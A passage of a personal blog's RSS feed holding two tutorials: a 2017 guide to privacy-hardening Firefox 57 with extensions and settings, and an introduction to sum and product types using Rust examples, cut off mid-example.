      <title>Locking Down Firefox</title>
      <link>https://nora.codes/tutorial/locking-down-firefox/</link>
      <pubDate>Mon, 06 Nov 2017 11:32:43 -0600</pubDate>
      <guid>https://nora.codes/tutorial/locking-down-firefox/</guid>
      <description>&lt;p&gt;I recently switched back to Firefox from Google Chrome. Firefox has gotten a lot faster recently, and is &lt;a href=&#34;https://www.cnet.com/news/firefox-quantum-challenges-chrome-in-browser-speed/&#34;&gt;in the process&lt;/a&gt; of getting event faster, partly thanks to Mozilla&amp;rsquo;s &lt;a href=&#34;https://rust-lang.org&#34;&gt;Rust language&lt;/a&gt;, which is being used to write important components in a provably memory-safe way. This allows them to be made much more concurrent and parallel, leading to large speed improvements.&lt;/p&gt;&#xA;&lt;p&gt;One big draw of Firefox is that it&amp;rsquo;s not a data collection tool for Google, and I&amp;rsquo;d like to double down on that promise. So, here&amp;rsquo;s a list of simple (and not-so-simple) ways to lock down Firefox 57, to keep your browsing private.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I recently switched back to Firefox from Google Chrome. Firefox has gotten a lot faster recently, and is &lt;a href=&#34;https://www.cnet.com/news/firefox-quantum-challenges-chrome-in-browser-speed/&#34;&gt;in the process&lt;/a&gt; of getting event faster, partly thanks to Mozilla&amp;rsquo;s &lt;a href=&#34;https://rust-lang.org&#34;&gt;Rust language&lt;/a&gt;, which is being used to write important components in a provably memory-safe way. This allows them to be made much more concurrent and parallel, leading to large speed improvements.&lt;/p&gt;&#xA;&lt;p&gt;One big draw of Firefox is that it&amp;rsquo;s not a data collection tool for Google, and I&amp;rsquo;d like to double down on that promise. So, here&amp;rsquo;s a list of simple (and not-so-simple) ways to lock down Firefox 57, to keep your browsing private.&lt;/p&gt;&#xA;&lt;h2 id=&#34;extensions&#34;&gt;Extensions&lt;/h2&gt;&#xA;&lt;h3 id=&#34;ad-blockers&#34;&gt;Ad Blockers&lt;/h3&gt;&#xA;&lt;p&gt;First off, there are a lot of great browser extensions (using the standard WebExtension platform) which can improve your experience. The most important on the modern web is an ad-blocker of some kind. I personally use &lt;a href=&#34;https://addons.mozilla.org/en-US/firefox/addon/adnauseam/&#34;&gt;AdNauseam&lt;/a&gt;, which attempts to not only block ads but actually pretends to click on them, throwing off tracking and costing advertisers money. There are many other options available; I used to use the software that AdNauseam is based on, which is called &lt;a href=&#34;https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/&#34;&gt;uBlock Origin&lt;/a&gt;; it&amp;rsquo;s an excellent piece of software which simply blocks ads, with a very low memory and CPU overhead.&lt;/p&gt;&#xA;&lt;h3 id=&#34;cdn-caching&#34;&gt;CDN Caching&lt;/h3&gt;&#xA;&lt;p&gt;Many websites use pieces of JavaScript and CSS code imported from CDNs (Content Delivery Networks) elsewhere on the web. Unfortunately, this allows the publishers of those libraries to track anyone who visits multiple websites that use them. It&amp;rsquo;s also kind of slow. &lt;a href=&#34;https://decentraleyes.org/&#34;&gt;Decentraleyes&lt;/a&gt; saves many of these shared pieces of code to your computer, then intercepts requests for them and uses your saved copy. This both prevents the CDN operators from tracking you and speeds up your browsing experience.&lt;/p&gt;&#xA;&lt;h3 id=&#34;adaptive-tracker-blocking&#34;&gt;Adaptive Tracker Blocking&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://eff.org&#34;&gt;Electronic Frontier Foundation&lt;/a&gt; publishes and maintains a great piece of software called &lt;a href=&#34;https://www.eff.org/privacybadger&#34;&gt;Privacy Badger&lt;/a&gt;. This browser extension learns which domains appear over and over again on different websites, and uses some logic to determine whether or not they might be tracking you. It then gives you the option to allow, block, or block cookies from these domains. Combined with DecentralEyes, this is unlikely to break your browsing experience, but because it adaptively learns from your browsing behavior, it&amp;rsquo;s very effective at preventing certain kinds of tracking.&lt;/p&gt;&#xA;&lt;h3 id=&#34;fingerprint-resistance&#34;&gt;Fingerprint Resistance&lt;/h3&gt;&#xA;&lt;p&gt;There are a lot of pieces of information that a website can use to track you, even without explicitly dropping a cookie or other tracking data onto your computer. This is called browser fingerprinting; you can learn more at the EFF&amp;rsquo;s &lt;a href=&#34;https://firstpartysimulator.net/&#34;&gt;Panopticlick&lt;/a&gt; project. Firefox has a built-in tracking resistance mode, which I&amp;rsquo;ll cover later, but it&amp;rsquo;s very aggressive and breaks some websites. For me, this wasn&amp;rsquo;t good enough, so I built &lt;a href=&#34;randomua/&#34;&gt;an extension&lt;/a&gt; that changes your User-Agent string, a major part of the browser&amp;rsquo;s fingerprint, on every single request. This makes it very hard to correlate your behavior.&lt;/p&gt;&#xA;&lt;h3 id=&#34;https-everywhere&#34;&gt;HTTPS Everywhere&lt;/h3&gt;&#xA;&lt;p&gt;HTTPS is the basic underlying encryption technology for the web. While properly-configured websites generally upgrade HTTP requests to HTTPS when possible, you can install the &lt;a href=&#34;https://www.eff.org/https-everywhere&#34;&gt;HTTPS Everywhere&lt;/a&gt; extension (again by the great folks at the EFF) to make sure your browser check if HTTPS is known to be available and uses to it if possible. This not only improves your tracking protection, but also makes your computer significantly more resistant to the &lt;a href=&#34;https://github.com/moxie0/sslstrip&#34;&gt;SSLStrip&lt;/a&gt; attack.&lt;/p&gt;&#xA;&lt;h2 id=&#34;config-settings&#34;&gt;Config Settings&lt;/h2&gt;&#xA;&lt;h3 id=&#34;third-party-cookies&#34;&gt;Third Party Cookies&lt;/h3&gt;&#xA;&lt;p&gt;First-party cookies - cookies set and read by the website you&amp;rsquo;re visiting - are immensely useful, allowing you to stay logged in across page loads and keep preferences saved. However, third-party cookies - cookies that are set by another site than the one you are visiting - are basically useless, except for tracking. You can disable them thus:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Preferences&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Privacy and Security&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Scroll to &lt;em&gt;History&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select Firefox will: &lt;em&gt;Use custom settings for history&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Change &amp;ldquo;Accept third-party cookies&amp;rdquo; to &lt;em&gt;Never&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;first-party-cookies&#34;&gt;First Party Cookies&lt;/h3&gt;&#xA;&lt;p&gt;You can also configure Firefox to clear all your cookies when you close it. If you&amp;rsquo;re ok with logging in to websites again, this is a good step to take; since I use a password manager, it&amp;rsquo;s not much of a hassle. In the same place as the third-party setting above, change &amp;ldquo;Keep until&amp;rdquo; to &lt;em&gt;I close Firefox&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tracking-protection&#34;&gt;Tracking Protection&lt;/h3&gt;&#xA;&lt;p&gt;Firefox has a list of known trackers, and it can automatically block them, but only when you&amp;rsquo;re using Private Browsing mode. To enable this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Preferences&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Privacy and Security&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Scroll to &lt;em&gt;Tracking Protection&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Check the box entitled &lt;em&gt;Use Tracking Protection in Private Browsing&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Combined with Privacy Badger, this effectively covers both your private and non-private use of Firefox for tracker blocking.&lt;/p&gt;&#xA;&lt;h3 id=&#34;multi-account-containers&#34;&gt;Multi Account Containers&lt;/h3&gt;&#xA;&lt;p&gt;This is a great feature which is not really in the scope of this guide, but I suggest you check it out &lt;a href=&#34;https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/&#34;&gt;here&lt;/a&gt;. It allows you to segregate some tabs from others, allowing you to have multiple accounts open in a single browser window, and effectively preventing all CSRF attacks.&lt;/p&gt;&#xA;&lt;h3 id=&#34;plugins&#34;&gt;Plugins&lt;/h3&gt;&#xA;&lt;p&gt;Plugins, like Adobe Flash and some kinds of DRM video decryption, can contain secret, unauditable code. They also often contain vulnerabilities. Firefox allows you to set these plugins to click-to-run, meaning that they require explicit user permission to execute. This has very little impact on your browsing experience, but a huge impact on security. To set this option:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Navigate to &amp;ldquo;about:addons&amp;rdquo;.&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;em&gt;Plugins&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Set them all to &lt;em&gt;Never Activate&lt;/em&gt;, except for the &lt;em&gt;OpenH264 Video Codec&lt;/em&gt; and &lt;em&gt;Widevine Decryption Module&lt;/em&gt;, which should be &lt;em&gt;Always Activate&lt;/em&gt;, and &lt;em&gt;Shockwave Flash&lt;/em&gt;, which should be &lt;em&gt;Ask to Activate&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;isolate-to-first-party-domains&#34;&gt;Isolate to First-Party Domains&lt;/h3&gt;&#xA;&lt;p&gt;Firefox has a lot of config options that aren&amp;rsquo;t normally exposed to the user, all accessed via the url &amp;ldquo;about:config&amp;rdquo;. When you go there, you&amp;rsquo;ll be warned that you might break Firefox. This is true, but not if you follow my instructions, so go ahead and click through.&lt;/p&gt;&#xA;&lt;p&gt;Search for the setting &lt;code&gt;privacy.firstparty.isolate&lt;/code&gt; and go ahead and set it to &lt;code&gt;true&lt;/code&gt;. This will segregate sites from each other much more strongly than usual, making tracking very hard.&lt;/p&gt;&#xA;&lt;h2 id=&#34;done&#34;&gt;Done!&lt;/h2&gt;&#xA;&lt;p&gt;Congratulations! Your browser is now pretty dang difficult to track. If you have suggestions for more hardening methods, please contact me.&#xA;I&amp;rsquo;d like to give a shoutout to &lt;code&gt;@david_ross@mastodon.social&lt;/code&gt; and &lt;code&gt;@gemlog@mastodon.sdf.org&lt;/code&gt; for some suggestions I used here.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Note: This post has been edited to correct errors in the spelling and description of operation of Decentraleyes and HTTPSEverywhere.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>A Gentle Introduction to Practical Types</title>
      <link>https://nora.codes/tutorial/a-gentle-introduction-to-practical-types/</link>
      <pubDate>Fri, 29 Sep 2017 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/tutorial/a-gentle-introduction-to-practical-types/</guid>
      <description>&lt;p&gt;Programmers talk a lot about types, but what is a &amp;ldquo;type&amp;rdquo;, anyway? It is, in essence, &lt;em&gt;the set of all possible values&lt;/em&gt; for some variable. Defining such a set gives us some information about &lt;em&gt;what we can do&lt;/em&gt; with the value of that variable, in general.&lt;/p&gt;&#xA;&lt;p&gt;For example, when speaking about numbers, we might say, &amp;ldquo;let x be any integer&amp;rdquo; or &amp;ldquo;let y be any real number not equal to zero&amp;rdquo;. These statements tell us what we can do with these values; we know that we can add, subtract, or multiply x and y. We cannot necessarily divide by x (because x might be equal to zero), though we can divide by y.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Programmers talk a lot about types, but what is a &amp;ldquo;type&amp;rdquo;, anyway? It is, in essence, &lt;em&gt;the set of all possible values&lt;/em&gt; for some variable. Defining such a set gives us some information about &lt;em&gt;what we can do&lt;/em&gt; with the value of that variable, in general.&lt;/p&gt;&#xA;&lt;p&gt;For example, when speaking about numbers, we might say, &amp;ldquo;let x be any integer&amp;rdquo; or &amp;ldquo;let y be any real number not equal to zero&amp;rdquo;. These statements tell us what we can do with these values; we know that we can add, subtract, or multiply x and y. We cannot necessarily divide by x (because x might be equal to zero), though we can divide by y.&lt;/p&gt;&#xA;&lt;p&gt;In programming, most languages have many built in types, and not just numbers; strings (of characters; that is, text) and more exotic things like pointers are all types of values that can be found in most programs, and the types of those values essentially tell us what we can do with them.&lt;/p&gt;&#xA;&lt;p&gt;Types also tell us &lt;em&gt;how to represent data&lt;/em&gt;. For instance, a variable of type &lt;code&gt;int&lt;/code&gt; is not &amp;ldquo;any integer&amp;rdquo;; it is any integer between -2^31 and 2^31 - 1, because it is represented in memory as 32 bits, the first of which is the sign (negative or positive) and the rest of which are the absolute value of the number.&lt;/p&gt;&#xA;&lt;p&gt;But before we can really talk about integers, decimal numbers, or text, we need to understand a little more about types themselves.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-naming-of-things&#34;&gt;The Naming of Things&lt;/h2&gt;&#xA;&lt;p&gt;The first type I&amp;rsquo;m going to make is something that mathematicians call a Σ type or sum type. What it really is is a list of options; an &lt;em&gt;enumeration&lt;/em&gt; of possible values, or, in many programming languages, an &lt;code&gt;enum&lt;/code&gt;. Each option has its own type, and the enumeration of these options creates a new type.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s a type that may be familiar to you: a Boolean value. It can be either True, or False. Nothing else. Here&amp;rsquo;s how we would write that down in a programming language (Rust, in this case):&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;enum&lt;/span&gt; Boolean&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;True,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;False&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is saying, &amp;ldquo;Create a new enumeration type. It&amp;rsquo;s called the Boolean type, and every value of this type must be one of the following: True, or False.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;We can figure out a few things about this. For instance, we can check if two values of type Boolean are equal or not; we can also define the Boolean functions like &lt;code&gt;and&lt;/code&gt;, &lt;code&gt;or&lt;/code&gt;, and &lt;code&gt;xor&lt;/code&gt;, if we wish.&lt;/p&gt;&#xA;&lt;p&gt;We need not be restricted to two options, however. For instance, here&amp;rsquo;s a type that you might use when giving someone directions:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;enum&lt;/span&gt; StreetDirection&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Left,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Right,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Straight,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can use these two types to apply some type theory to a conversation. Let&amp;rsquo;s say Alice is giving Bob directions. Bob might ask, &amp;ldquo;Which way do I go at Laurel Street?&amp;rdquo; He is requesting a value of type StreetDirection; it would make no sense if Alice were to say &amp;ldquo;Blue&amp;rdquo; or &amp;ldquo;False&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;We can extend this construct to create very useful types like an unsigned integer (the always-positive variant of the bounded &lt;code&gt;int&lt;/code&gt; discussed above). It can hold values from 0 to 2^64 - 1. Were we to define it using this syntax, it would look something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;enum&lt;/span&gt; PositiveBoundedInteger&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;3&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;(skip&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;a&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;few)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;18446744073709551615&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;18446744073709551616&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Of course, (&lt;a href=&#34;https://en.wikipedia.org/wiki/Roman_Opa%C5%82ka&#34;&gt;almost&lt;/a&gt;) nobody would ever actually write out all the integers from 0 to 18446744073709551616, but we &lt;em&gt;could&lt;/em&gt; define the type that way. We could also begin to write functions like addition, subtraction, and multiplication.&lt;/p&gt;&#xA;&lt;h2 id=&#34;doing-more-with-enumerations&#34;&gt;Doing More with Enumerations&lt;/h2&gt;&#xA;&lt;p&gt;Consider the power of these sum or enumeration types; we can write the type of anything that is only one of a number of options, whether those options are ordered (like the PositiveBoundedInteger type above) or unordered (like Boolean values and directions).&lt;/p&gt;&#xA;&lt;p&gt;These types are called sum types because the number of possible values is the &lt;em&gt;sum&lt;/em&gt; of the number of options; for now, that&amp;rsquo;s just 1 each - there are 2 possible values of type Boolean, for instance - but that won&amp;rsquo;t always be true. We can define types that are the combinations of these types.&lt;/p&gt;&#xA;&lt;p&gt;For example, we could define a type that is the combination of itself and a StreetDirection. We could imagine a controller giving a robot directions on how to move around with this type:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;enum&lt;/span&gt; MovementInstruction&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Go(StreetDirection),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;NoGo,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The MovementInstruction type has 2 options, but one of those options has a StreetDirection in it! Therefore, we could write little sets of instructions for our hypothetical robot to solve a maze:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Go(Straight)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Go(Right)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Go(Straight)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NoGo&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It&amp;rsquo;s pretty easy to figure out how many options there are: Go(Straight), Go(Right), Go(Left), and NoGo. That is, the sum of the first option&amp;rsquo;s possible values (3) and the second option&amp;rsquo;s possible values (1). Thus, the number of possibilities for values is the &lt;em&gt;sum&lt;/em&gt; of the number of possiblities for values of the types of the enumerated options. Enumeration types are sum types.&lt;/p&gt;&#xA;&lt;h2 id=&#34;getting-productive&#34;&gt;Getting Productive&lt;/h2&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s a challenge for you, as a sort of perverse reward for making it through sum/enum types. How would you use an &lt;code&gt;eunm&lt;/code&gt; type to represent values that record how many cats and dogs someone has?&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;d start like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;enum&lt;/span&gt; Pets{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;NoCatsNoDogs,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;NoCatsSomeDogs(BoundedPositiveInteger),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;SomeCatsNoDogs(BoundedPositiveInteger),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is a good start. We can talk about people with no pets, or only one type of of pet. We do have a problem, though; what about people who have dogs &lt;em&gt;and&lt;/em&gt; cats? This is where product types or &lt;code&gt;struct&lt;/code&gt;ured types come in. We can write something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Pets&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;dogs: BoundedPositiveInteger,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;cats: BoundedPositiveInteger,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This definition means, &amp;ldquo;Create a new structured type. Its name is Pets, and it consists of one value of type BoundedPositiveInteger, called dogs, followed by another value of type BoundedPositiveInteger, called cats.&amp;rdquo; We call it a structured type because we define it not by a list of possible values but by the structure of any possible value; in this case, two arbitrary BoundedPositiveIntegers.&lt;/p&gt;&#xA;&lt;p&gt;We could denote the state of owning no pets as:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Pets&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    